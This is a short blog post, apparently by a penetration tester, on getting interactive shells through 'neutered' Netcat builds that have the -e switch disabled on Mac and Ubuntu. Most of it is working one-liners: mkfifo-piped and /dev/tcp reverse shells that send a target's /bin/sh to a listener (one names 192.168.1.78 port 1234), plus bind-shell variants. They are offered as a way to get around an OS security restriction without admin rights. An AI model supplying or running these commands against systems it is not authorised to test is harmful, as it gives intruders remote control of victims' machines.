‘Neutered’ Netcat? No prob! 😊

Recently I just noticed in Mac and Ubuntu that I have, -e (execute) switch in Netcat has been disabled. I know it is a gasping security issue to have it enabled as someone who can get access to our system now can extend their footing by executing Netcat with -e switch (e.g. -e /bin/bash) which gives them terminal access. To have terminal access makes attacker’s job easier because some commands require terminal access to execute properly, for example passwd. While I admire Apple and Ubuntu for their good work to secure their operating systems (I am sure other responsible distros have already done that too), I think it makes our job as tester more difficult, mainly because we only have limited time in our assessment.

Netcat on Mac and OpenBSD Netcat on Ubuntu have -e switch disabled. When Netcat is invoked with -e switch, it gives the following error (Mac and Ubuntu have slight difference in the error message. Below message is from Ubuntu):

This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
[-P proxy_username] [-p source_port] [-q seconds] [-s source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [destination] [port]

So the question now, how to regain the -e feature? One possible way is to enable Netcat traditional. Ok, that’s an idea, but unless we have compromised admin-level account, most likely we won’t be able to do so, as fiddling with synaptic requires the user to be in admin group. There has to be a way 🧐. As I browse around for alternative solution, some bright guys already come up with how to get around this restriction, one of them is here.

To summarize, I divide the solutions into two groups based on how Netcat is typically used when creating shell: as reverse shell and as bind shell.

Reverse Shell

The idea to creating reverse shell with ‘neutered’ Netcat is to open pipe (using mkfifo command), then execute bash (or sh or any shell available) followed by a series of redirection. Here are examples how this is done:

From tester’s machine (server):

$ nc -l -p [ServerPort] -vvv

From target machine:

$ mkfifo f
$ nc [ServerAddress] [ServerPort] 0<f | /bin/sh -i 2>&1 | tee f
-or-
$ mkfifo f
$ cat f | /bin/sh | nc [ServerAddress] [ServerPort] | tee f
-or (Ok a bit silly since this is just permutation of syntax above)-
$ mkfifo f
$ /bin/sh 0<f | nc 192.168.1.78 1234 | tee f
-or simply redirect to /dev/tcp/server/port-
$ /bin/sh -i > /dev/tcp/[ServerAddress]/ServerPort 2>&1 0<&1

Bind Shell

The idea is similar to the above, just that the target machine needs to listen to the connection. The target here is assumed to be Linux, on Mac -l is not followed by -p switch.

From tester’s machine (client):

$ nc [TargetAddress] [TargetPort] -vvv

From target machine:

$ mkfifo f
$ nc -l -p [TargetPort] 0<f | /bin/bash > f 2>&1
-or-
$ mkfifo f
$ /bin/bash 0<f | nc -l -p 1234 > f 2>&1

As we can see, we are still able to forward the terminal access even with restricted Netcat. Besides, OpenBSD Netcat offers features that are not in traditional Netcat such as IPv6, proxy capability, and Unix sockets. Kali Linux is the only one I know that still defaults to traditional Netcat, but this is more tailored to attackers and penetration testers and does not reflect majority of Linux users.